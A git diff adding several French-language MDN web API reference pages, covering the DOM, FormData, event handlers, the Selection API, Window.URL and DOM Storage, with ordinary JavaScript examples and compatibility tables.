En général, l'objet dont le membre est décrit est donné dans la description de syntaxe avec un type simple, comme element pour tous les éléments, document pour l'objet de document racine, table pour un objet de tableau, etc. Consultez Types de données importants pour plus d'informations à propos des types de données.

+

Utilisation des exemples

+

Beaucoup des exemples dans cette référence sont des fichiers complets que vous pouvez exécuter en les copiant et collant vers un nouveau fichier, puis en les ouvrant dans votre navigateur. D'autres sont des petits bouts de code. Vous pouvez les exécuter en les plaçant dans des fonctions callback de JavaScript. Par exemple, la propriété window.document peut être testée au sein d'une fonction comme celle-ci, laquelle est appelée par le bouton assorti :

+
<html>
+
+<script>
+function testWinDoc() {
+
+  doc= window.document;
+
+  alert(doc.title);
+
+}
+</script>
+
+<button onclick="testWinDoc();">test de la propriété document</button>
+
+</html>
+
+

Des pages et fonctions similaires peuvent être créés pour tous les membres qui ne sont pas déjà décrits d'une façon prête à être utilisée. Consultez la section Test de l'API DOM de l'introduction pour un canevas de test que vous pourrez utiliser pour tester plusieurs API à la fois.

+
+  
+

{{ languages( { "en": "en/Gecko_DOM_Reference/Preface", "es": "es/Referencia_DOM_de_Gecko/Prefacio", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}

diff --git a/files/fr/conflicting/web/api/document_object_model_656f0e51418b39c498011268be9b3a10/index.html b/files/fr/conflicting/web/api/document_object_model_656f0e51418b39c498011268be9b3a10/index.html new file mode 100644 index 0000000000..ad672dee28 --- /dev/null +++ b/files/fr/conflicting/web/api/document_object_model_656f0e51418b39c498011268be9b3a10/index.html @@ -0,0 +1,30 @@ +--- +title: Guides DOM pour développeurs +slug: Web/Guide/DOM +tags: + - API + - DOM + - Guide + - TopicStub +translation_of: Web/API/Document_Object_Model +translation_of_original: Web/Guide/API/DOM +--- +

{{draft}}

+ +

Le Document Object Model est une API pour les documents HTML et XML. Il fournit une représentation structurelle du document, permettant au développeur de modifier son contenu et sa présentation visuelle. Essentiellement, il connecte des pages Web à des scripts ou des langages de programmation.

+ +

Toutes les propriétés, méthodes, et événements disponible pour le développeur web pour manipuler et créer des pages Web sont organisés en objects (par exemple, l'objet de document qui représente le document lui-même, l'objet de table qui représente un élément de tableau HTML, etc.). Ces objets sont accessibles via les langages de script dans les navigateurs Web les plus récents.

+ +

Le DOM est le plus souvent utilisé en conjonction avec JavaScript. Cependant, le DOM a été conçu pour être indépendant de tout langage de programmation particulier, rendant la représentation structurelle du document disponible à partir d'une API unique et cohérente. Bien que nous nous concentrions sur JavaScript tout au long de ce site, les implémentations du DOM peuvent être construites pour n'importe quel langage.

+ +

Le World Wide Web Consortium établit une norme pour le DOM, appelée W3C DOM. Il devrait, maintenant que les navigateurs les plus importants l'implémentent correctement, activer de puissantes applications multi-navigateurs.

+ +

Pourquoi le DOM est-il important?

+ +

"HTML dynamique" (DHTML) est un terme utilisé par certains fournisseurs pour écrire la combinaison de HTML, de feuilles de style et de scripts permettant d'animer les documents. Le groupe de travail DOM du W3C travaille d'arrache-pied pour s'assurer que des solutions interopérables et indépendantes du langage sont convenues (voir également la FAQ du W3C). Comme Mozilla revendique le titre de "Web Application Platform", la prise en charge du DOM est l'une des fonctionnalités les plus demandées, et nécessaire si Mozilla veut être une alternative viable aux autres navigateurs.

+ +

Encore plus important est le fait que l'interface utilisateur de Mozilla (également Firefox et Thunderbird) est construite en utilisant XUL, en utilisant le DOM pour manipuler sa propre interface utilisateur.

+ +

En savoir plus sur le DOM

+ +

{{LandingPageListSubpages}}

diff --git a/files/fr/conflicting/web/api/formdata/using_formdata_objects/index.html b/files/fr/conflicting/web/api/formdata/using_formdata_objects/index.html new file mode 100644 index 0000000000..3d07259319 --- /dev/null +++ b/files/fr/conflicting/web/api/formdata/using_formdata_objects/index.html @@ -0,0 +1,141 @@ +--- +title: Utiliser les objets FormData +slug: Web/Guide/Using_FormData_Objects +translation_of: Web/API/FormData/Using_FormData_Objects +translation_of_original: Web/Guide/Using_FormData_Objects +--- +

L'objet FormData vous permet de créer un ensemble de paires clef-valeur pour un envoi via XMLHttpRequest. Cet objet est destiné avant tout à l'envoi de données de formulaire, mais il peut être utilisé indépendamment des formulaires afin de transmettre des données associées à une clef. Les données transmises sont dans le même format qu'utiliserait la méthode submit() pour envoyer des données si le type d'encodage du formulaire correspondait à "multipart/form-data".

+ +

Créer un objet FormData de zéro

+ +

Vous pouvez créer un objet FormData en l'instanciant puis en lui ajoutant des champs au moyen de la méthode append(), comme ci-dessous :

+ +
var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // le nombre 123456 est immédiatement converti en la chaîne "123456"
+
+// Choix de l'utilisateur à partir d'un input HTML de type file...
+formData.append("userfile", fileInputElement.files[0]);
+
+// Pseudo-objet fichier JavaScript...
+var content = '<a id="a"><b id="b">hey!</b></a>'; // le corps du nouveau fichier...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+
+ +
Remarque : les champs "userfile" et "webmasterfile" contiennent tous les deux un fichier. Le nombre assigné au champ "accountnum" est immédiatement converti en une chaîne de caractères par la méthode FormData.append()  (la valeur du champ peut être soit un {{ domxref("Blob") }}, soit un {{ domxref("File") }}, ou encore une chaîne de caractères : si la valeur n'est ni un objet Blob ni un objet File, la valeur est convertie en une chaîne de caractères).
+ +

Cet exemple crée une instance de FormData contenant des valeurs pour les champs nommés "username", "accountnum", "userfile" et "webmasterfile", puis utilise la méthode send() de XMLHttpRequest pour envoyer les données du formulaire. Le champ "webmasterfile" est un Blob. Un objet Blob représente un pseudo-objet fichier de données brutes et immuables. Les Blobs représentent des données qui ne sont pas forcément dans un format natif de JavaScript. L'interface {{ domxref("File") }} est basée sur le Blob, héritant des fonctionnalités du blob et l'étendant afin de supporter les fichiers système de l'utilisateur. Afin de construire un Blob, vous pouvez invoquer le constructeur Blob.

+ +

Récupérer un objet FormData à partir d'un formulaire

+ +

Pour construire un objet FormData qui contient les données d'un {{ HTMLElement("form") }} existant, il suffit de spécifier cet élément formulaire lors de la création de l'objet FormData :

+ +
var formData = new FormData(someFormElement);
+
+ +

Par exemple :

+ +
var formElement = document.getElementById("myFormElement");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+
+ +

Vous pouvez également ajouter des données additionnelles à l'objet FormData après l'avoir extrait d'un formulaire et avant son envoi, comme ceci :

+ +
var formElement = document.getElementById("myFormElement");
+formData = new FormData(formElement);
+formData.append("serialnumber", serialNumber++);
+request.send(formData);
+ +

Cela vous permet de compléter les données du formulaire avant de les envoyer, en incluant des informations additionnelles qui ne sont pas nécessairement accessibles à l'utilisateur dans le formulaire.

+ +

Envoyer des fichiers avec un objet FormData

+ +

Vous pouvez aussi envoyer des fichiers en utilisant FormData. Il suffit d'inclure un élément {{ HTMLElement("input") }} de type "file" :

+ +
<form enctype="multipart/form-data" method="post" name="fileinfo">
+  <label>Your email address:</label>
+  <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br />
+  <label>Custom file label:</label>
+  <input type="text" name="filelabel" size="12" maxlength="32" /><br />
+  <label>File to stash:</label>
+  <input type="file" name="file" required />
+  <input type="submit" value="Stash the file!" />
+</form>
+<div id="output"></div>
+
+ +

Vous pouvez ensuite l'envoyer en utilisant un code semblable à celui-ci :

+ +
var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var
+    oOutput = document.getElementById("output"),
+    oData = new FormData(document.forms.namedItem("fileinfo"));
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred uploading your file.<br \/>";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+
+ +
+

Remarque : si vous passez une référence au formulaire, la méthode spécifiée dans le formulaire sera utilisée en remplacement de celle précisée dans l'appel à open().

+
+ +
+

Remarque : Cet exemple redirige les données en sortie vers un script PHP sur le serveur, et gère les erreurs HTTP, quoique d'une manière peu élégante.

+
+ +

Vous pouvez aussi ajouter un {{ domxref("File") }} ou un  {{ domxref("Blob") }} directement à l'objet {{ domxref("XMLHttpRequest/FormData", "FormData") }}, comme ceci :

+ +
data.append("myfile", myBlob, "filename.txt");
+
+ +

Lorsque la méthode append est utilisée, il est possible de renseigner le troisième paramètre optionnel pour passer un nom de fichier à l'en-tête Content-Disposition qui est envoyée au serveur. Si aucun nom de fichier n'est spécifié (ou si le paramètre n'est pas supporté,) le nom "blob" est utilisé.

+ +

Vous pouvez aussi utiliser FormData avec jQuery si vous configurez les bonnes options :

+ +
var fd = new FormData(document.getElementById("fileinfo"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // indique à jQuery de ne pas traiter les données
+  contentType: false   // indique à jQuery de ne pas configurer le contentType
+});
+
+ +

Soumettre des formulaires et téléverser des fichiers via AJAX sans objets FormData

+ +

Si vous souhaitez savoir comment sérialiser et soumettre via AJAX un formulaire sans utiliser d'objets FormData, veuillez consulter ce paragraphe.

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/api/globaleventhandlers/onresize/index.html b/files/fr/conflicting/web/api/globaleventhandlers/onresize/index.html new file mode 100644 index 0000000000..d2c0d6304f --- /dev/null +++ b/files/fr/conflicting/web/api/globaleventhandlers/onresize/index.html @@ -0,0 +1,78 @@ +--- +title: window.onresize +slug: Web/API/Window/onresize +tags: + - API + - DOM + - Gestionnaires d'évènements + - Propriété + - évènements +translation_of: Web/API/GlobalEventHandlers/onresize +--- +

{{ ApiRef() }}

+ +

La propriété GlobalEventHandlers.onresize contient un {{domxref("EventHandler")}} (gestionnaire d'évènements) qui survient quand un évènement {{event("resize")}} est reçu.

+ +

Syntaxe

+ +
window.onresize = funcRef;
+
+ +

Paramètres

+ + + +

Exemple

+ +
window.onresize = doFunc;
+
+ +
<html>
+<head>
+
+<title>onresize test</title>
+
+</head>
+
+<body>
+<p>Resize the browser window to fire the resize event.</p>
+
+<p>Window height: <span id="height"></span></p>
+<p>Window width: <span id="width"></span></p>
+
+<script type="text/javascript">
+  var heightOutput = document.querySelector('#height');
+  var widthOutput = document.querySelector('#width');
+
+  function resize() {
+    heightOutput.textContent = window.innerHeight;
+    widthOutput.textContent = window.innerWidth;
+  }
+
+  window.onresize = resize;
+</script>
+</body>
+</html>
+ +

Notes

+ +

L’événement resize est déclenché après le redimensionnement de la fenêtre.

+ +

Spécification

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG','webappapis.html#handler-onresize','onresize')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/fr/conflicting/web/api/htmlmediaelement/abort_event/index.html b/files/fr/conflicting/web/api/htmlmediaelement/abort_event/index.html new file mode 100644 index 0000000000..68e28e9626 --- /dev/null +++ b/files/fr/conflicting/web/api/htmlmediaelement/abort_event/index.html @@ -0,0 +1,70 @@ +--- +title: abort +slug: Web/Events/abort +translation_of: Web/API/HTMLMediaElement/abort_event +translation_of_original: Web/Events/abort +--- +
L'événement abort est déclenché lorsque le chargement d'une resource a été interrompu.
+ +
 
+ +

Informations générales

+ +
+
Spécification
+
DOM L3
+
Interface
+
UIEvent si généré à partir de l'interface utilisateur sinon, Event.
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
Element
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
diff --git a/files/fr/conflicting/web/api/htmlmediaelement/ended_event/index.html b/files/fr/conflicting/web/api/htmlmediaelement/ended_event/index.html new file mode 100644 index 0000000000..950e8ef545 --- /dev/null +++ b/files/fr/conflicting/web/api/htmlmediaelement/ended_event/index.html @@ -0,0 +1,83 @@ +--- +title: ended (Web Audio) +slug: Web/Events/ended_(Web_Audio) +translation_of: Web/API/HTMLMediaElement/ended_event +translation_of_original: Web/Events/ended_(Web_Audio) +--- +
+

L'événement ended est déclenché lorsque la lecture s'est arrêté parce que la fin du média a été atteinte.

+
+ +

Informations générales

+ +
+
Spécification
+
{{SpecName("Web Audio API")}}
+
Interface
+
{{domxref("Event")}}
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
{{domxref("AudioBufferSourceNode")}}
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Evénements liés

+ + diff --git a/files/fr/conflicting/web/api/index.html b/files/fr/conflicting/web/api/index.html new file mode 100644 index 0000000000..a4f8a6ba0a --- /dev/null +++ b/files/fr/conflicting/web/api/index.html @@ -0,0 +1,77 @@ +--- +title: element.name +slug: Web/API/Element/name +tags: + - API + - DOM + - Element + - Nom + - Propriétés +translation_of: Web/API +translation_of_original: Web/API/Element/name +--- +

{{ APIRef("DOM") }}

+ +

name obtient ou définit la propriété name (nom) d'un élément dans le DOM. Il s'applique uniquement aux éléments suivants : {{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }} et {{ HTMLelement("textarea") }}.

+ +
+

Note : La propriété name n'existe pas pour d'autres éléments ; contrairement à tagName et nodeName, ce n'est pas une propriété des interfaces {{domxref("Node")}}, {{domxref("Element")}} ou {{domxref("HTMLElement")}}.

+
+ +

Le name peut être utilisé avec la méthode {{ domxref("document.getElementsByName()") }}, dans un formulaire et dans la collection elements d'un formulaire. Lorsqu'il est utilisé avec un formulaire ou les collections d'éléments, il peut renvoyer un seul élément ou une collection d'éléments.

+ +

Syntaxe

+ +
HTMLElement.name = string;
+var elName = HTMLElement.name;
+
+var fControl = HTMLFormElement.elementName;
+var controlCollection = HTMLFormElement.elements.elementName;
+
+ +

Exemple

+ +
<form action="" name="formA">
+  <input type="text" value="foo">
+</form>
+
+<script type="text/javascript">
+
+  // Obtient une référence au premier élément du formulaire
+  var formElement = document.forms['formA'].elements[0];
+
+  // Lui donne un nom
+  formElement.name = 'inputA';
+
+  // Affiche la valeur du champ
+  alert(document.forms['formA'].elements['inputA'].value);
+
+</script>
+
+ +

Notes

+ +

Dans Internet Explorer, la propriété name des objets DOM créés à l'aide de createElement ne peut être définie ou modifiée.

+ +

Spécification

+ +

Spécification DOM 2 HTML du W3C :

+ + + +

Les traductions ne sont pas normatives.

diff --git a/files/fr/conflicting/web/api/node/getrootnode/index.html b/files/fr/conflicting/web/api/node/getrootnode/index.html new file mode 100644 index 0000000000..7ee512dd8f --- /dev/null +++ b/files/fr/conflicting/web/api/node/getrootnode/index.html @@ -0,0 +1,71 @@ +--- +title: Node.rootNode +slug: Web/API/Node/rootNode +tags: + - API + - Arborescence + - DOM + - Noeuds + - Propriétés + - Racine +translation_of: Web/API/Node/getRootNode +translation_of_original: Web/API/Node/rootNode +--- +

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

+ +

La propriété en lecture seule Node.rootNode renvoie un objet {{domxref("Node")}} représentant le noeud du plus haut niveau de l'arbre, ou le noeud actuel s'il est le noeud du plus haut niveau de l'arbre. Il est trouvé par rétro-navigation à travers les noeuds parents {{domxref("Node.parentNode")}} jusqu'à l'arrivée au sommet.

+ +
+

Important : Pour des raisons de compatibilité, cette propriété a été remplacée par la méthode {{domxref("Node.getRootNode()")}}.

+
+ +

Syntaxe

+ +
rootNode = node.rootNode;
+
+ +

Valeur

+ +

Un objet {{domxref("Node")}} représentant le noeud du plus haut niveau de l'arbre.

+ +

Exemple

+ +

L'exécution de la ligne suivante dans les navigateurs de support doit renvoyer une référence au noeud HTML / document :

+ +
console.log(document.body.rootNode);
+ +

Notes

+ +

Les navigateurs basés sur Gecko insèrent des nœuds texte dans un document pour représenter des espaces + vides dans le balisage source. Par conséquent, un nœud obtenu par exemple via Node.firstChild ou + Node.previousSibling peut faire référence à un nœud texte contenant des espaces plutôt qu'au véritable élément + que l'auteur comptait obtenir.

+ +

Consultez Gestion des espaces dans le DOM + et Why are some Text nodes empty? + dans la FAQ DOM 3 du W3C pour plus d'informations.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Node.rootNode")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}Définition initiale.
diff --git a/files/fr/conflicting/web/api/node/index.html b/files/fr/conflicting/web/api/node/index.html new file mode 100644 index 0000000000..617ed79d8e --- /dev/null +++ b/files/fr/conflicting/web/api/node/index.html @@ -0,0 +1,39 @@ +--- +title: Node.baseURIObject +slug: Web/API/Node/baseURIObject +tags: + - API + - DOM + - Noeuds + - Propriétés + - URI + - URL +translation_of: Web/API/Node +translation_of_original: Web/API/Node/baseURIObject +--- +
{{APIRef("DOM")}} {{Non-standard_header}}
+ +

La propriété Node.baseURIObject renvoie le {{Interface("nsIURI")}} représentant l'URL de base du noeud (un document ou un élément). Elle est similaire à {{domxref("Node.baseURI")}}, à ceci près qu'elle renvoie une "nsIURI" à la place d'une "string" (chaîne de caractères).

+ +

Cette propriété existe sur tous les noeuds (HTML, XUL, SVG, MathML, etc.), mais est utilisable par le script seulement s'il a des privilèges UniversalXPConnect.

+ +

Voir {{domxref("Node.baseURI")}} pour plus de détails sur ce qu'est une URL de base.

+ +

Syntaxe

+ +
uriObj = node.baseURIObject
+
+ +

Notes

+ +

Cette propriété est en lecture seule ; tenter d'y écrire lancera une exception. En outre, on ne peut y accèder qu'à partir du code privilégié.

+ +

Spécification

+ +

N'existe dans aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Node.baseURIObject")}}

diff --git a/files/fr/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html b/files/fr/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html new file mode 100644 index 0000000000..33144eae42 --- /dev/null +++ b/files/fr/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html @@ -0,0 +1,40 @@ +--- +title: Node.nodePrincipal +slug: Web/API/Node/nodePrincipal +tags: + - API + - DOM + - Noeuds + - Principal + - Propriétés +translation_of: Web/API/Node +translation_of_original: Web/API/Node/nodePrincipal +--- +
{{APIRef("DOM")}} {{Non-standard_header}}
+ +

La propriété en lecture seule Node.nodePrincipal renvoie l'objet {{Interface("nsIPrincipal")}} représentant le contexte de sécurité actuel du noeud.

+ +

{{Note("Cette propriété existe sur tous les nœuds (HTML, XUL, SVG, MathML, etc.), mais n'est accessible par le script que s'il possède des privilèges de chrome.")}}

+ +

Syntaxe

+ +
principalObj = Node.nodePrincipal
+
+ +

Valeur

+ +

Un objet nsIPrincipal représentant le contexte de sécurité du noeud.

+ +

Notes

+ +

Cette propriété est en lecture seule ; tenter d'y écrire lancera une exception. En outre, cette propriété est accessible seulement par le code privilégié.

+ +

Spécifications

+ +

N'existe dans aucune spécification. C'est une propriété propre à Firefox.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Node.nodePrincipal")}}

diff --git a/files/fr/conflicting/web/api/selection/index.html b/files/fr/conflicting/web/api/selection/index.html new file mode 100644 index 0000000000..bca8077699 --- /dev/null +++ b/files/fr/conflicting/web/api/selection/index.html @@ -0,0 +1,221 @@ +--- +title: Selection API +slug: Web/API/Selection_API +translation_of: Web/API/Selection_API +--- +

{{APIRef}}

+ +
+

L’API Selection fournit des fonctionnalités pour lire et manipuler les plages (en anglais : ranges) de texte sélectionnées par l’utilisatrice ou l’utilisateur.

+
+ +

Concepts et utilisation

+ +

Pour obtenir la plage de texte actuellement sélectionnée par l’utilisatrice ou l’utilisateur, vous pouvez utiliser la méthode {{domxref("Window.getSelection()")}} ou {{domxref("Document.getSelection()")}}, et stocker la valeur de retour – un objet {{domxref("Selection")}} – dans une variable pour une utilisation ultérieure.

+ +

Une fois que votre sélection est dans une variable, vous pouvez effectuer différentes opérations dessus, par exemple :

+ + + +

Vous pouvez exécuter du code en réponse à un changement de sélection, ou au commencement d’une nouvelle sélection, en utilisant les gestionnaires d’évènements {{domxref("GlobalEventHandlers.onselectionchange")}} et {{domxref("GlobalEventHandlers.onselectstart")}}.

+ +

Interfaces de l’API Selection

+ +
+
{{domxref("Selection")}}
+
Représente la plage de texte sélectionnée ou la position actuelle du curseur.
+
+ +

Extensions à d’autres interfaces

+ +
+
{{domxref("Window.getSelection()")}}, {{domxref("Document.getSelection()")}}
+
Retourne un objet {{domxref("Selection")}} représentant la plage de texte sélectionnée ou la position actuelle du curseur. Document.getSelection() est en quelques sortes un alias de Window.getSelection().
+
{{domxref("GlobalEventHandlers.onselectstart")}}
+
Représente le gestionnaire d’évènement qui est appelé quand un évènement {{event("selectstart")}} est émis sur l’objet concerné (c’est-à-dire quand une nouvelle plage de texte est sur le point d’être sélectionnée).
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
Représente le gestionnaire d’évènement qui est appelé quand un évènement {{event("selectionchange")}} est émis sur l’objet concerné (c’est-à-dire quand la plage de texte sélectionné change).
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Selection API', '#definition', 'Selection')}}{{Spec2('Selection API')}}La spécification de l’API Selection est basée sur la spécification de l’API Édition HTML et se concentre sur les fonctionnalités liées à la sélection.
{{SpecName('HTML Editing', '#selection', 'Selection')}}{{Spec2('HTML Editing')}}Définition initiale (plus ancienne), à présent obsolète.
+ +

Compatibilité des navigateurs

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}
+ {{CompatGeckoDesktop(52)}}[1]		9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
modify(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
setBaseAndExtent(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
deleteFromDocument(){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
empty() comme alias de removeAllRanges(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
setPosition() comme alias de collapse(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support de base{{CompatUnknown}}{{CompatVersionUnknown}} +

{{CompatVersionUnknown()}}
+ {{CompatGeckoMobile(52)}}[1]

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
modify(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
setBaseAndExtent(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
deleteFromDocument(){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
empty() comme alias de removeAllRanges(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
setPosition() comme alias de collapse(){{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Les gestionnaires d’évènements {{domxref("GlobalEventHandlers.onselectionchange")}} et {{domxref("GlobalEventHandlers.onselectstart")}} sont supportés à partir de Firefox 52.

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/api/url/index.html b/files/fr/conflicting/web/api/url/index.html new file mode 100644 index 0000000000..223701977c --- /dev/null +++ b/files/fr/conflicting/web/api/url/index.html @@ -0,0 +1,95 @@ +--- +title: Window.URL +slug: Web/API/Window/URL +translation_of: Web/API/URL +translation_of_original: Web/API/Window/URL +--- +

{{ApiRef("Window")}}{{SeeCompatTable}}

+ +

La propriété Window.URL retourne un objet qui fournit les méthodes statiques utilisées pour créer et gérer les objets URLs. On peut aussi l'appeler comme uns constructeur pour instancier des objets {{domxref("URL")}}.

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +

Utilisation de la méthode statique:

+ +
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
+ +

Utilisation d'un objet instancié:

+ +
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
+ {{CompatGeckoDesktop("19.0")}}		10.015.0[2]6.0[2]
+ 7.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
+ {{CompatGeckoMobile("19.0")}}		{{CompatVersionUnknown}}15.0[2]6.0[2]
+
+ +

[1] From Gecko 2 (Firefox 4) to Gecko 18 included, Gecko returned an object with the non-standard nsIDOMMozURLProperty internal type. In practice, this didn't make any difference.

+ +

[2] Implemented under the non-standard name webkitURL.

diff --git a/files/fr/conflicting/web/api/web_storage_api/index.html b/files/fr/conflicting/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..2b52e93ad8 --- /dev/null +++ b/files/fr/conflicting/web/api/web_storage_api/index.html @@ -0,0 +1,106 @@ +--- +title: Storage +slug: DOM/Storage +tags: + - Applications_web_hors_ligne + - DOM + - JavaScript + - Référence_du_DOM_Gecko +translation_of: Web/API/Web_Storage_API +translation_of_original: Web/Guide/API/DOM/Storage +--- +

{{ ApiRef() }} {{ Fx_minversion_header(2) }}

+
+

Cette traduction est complètement obsolète, veuillez consulter l'original anaglais)

+
+

Résumé

+

DOM Storage est le nom donné à l'ensemble des fonctionnalités de stockage introduites dans la spécification Web Applications 1.0. DOM Storage est conçu pour fournir une alternative aux cookies pour le stockage d'informations, alternative plus grande, plus sûre et plus facile à utiliser. DOM Storage n'est actuellement disponible que dans les navigateurs basés sur Mozilla, en particulier Firefox 2 et suivants.

+
+ Note : DOM Storage ne doit pas être confondu avec mozStorage (les interfaces XPCOM de Mozilla vers SQLite) ou l'API de restauration de session (un utilitaire de stockage XPCOM utilisable par les extensions).
+

Description

+

Le mécanisme DOM Storage est un moyen par lequel des paires de chaînes clé/valeur peuvent être stockées de manière sûre et récupérées pour être utilisées plus tard. L'ajout de cette fonctionnalité a pour but de fournir un moyen complet par lequel des applications interactives peuvent être construites (avec des possibilités avancées, comme la possibilité de travailler « hors ligne » pendant des périodes prolongées).

+

Pour l'instant, seuls les navigateurs basés sur Mozilla fournissent une implémentation fonctionnelle de la spécification DOM Storage. Cependant, Internet Explorer dispose d'une fonctionnalité semblable appelée « userData behavior » qui permet également de conserver des données d'une session de navigation à une autre.

+

DOM Storage est utile car il n'existe aucune bonne méthode limitée au navigateur pour conserver une quantité raisonnable de données pour une période donnée. Les cookies de navigation ont une capacité limitée et ne permettent pas d'organiser les données conservées, tandis que d'autres méthodes (comme Flash Local Storage) nécessitent un plugin externe.

+

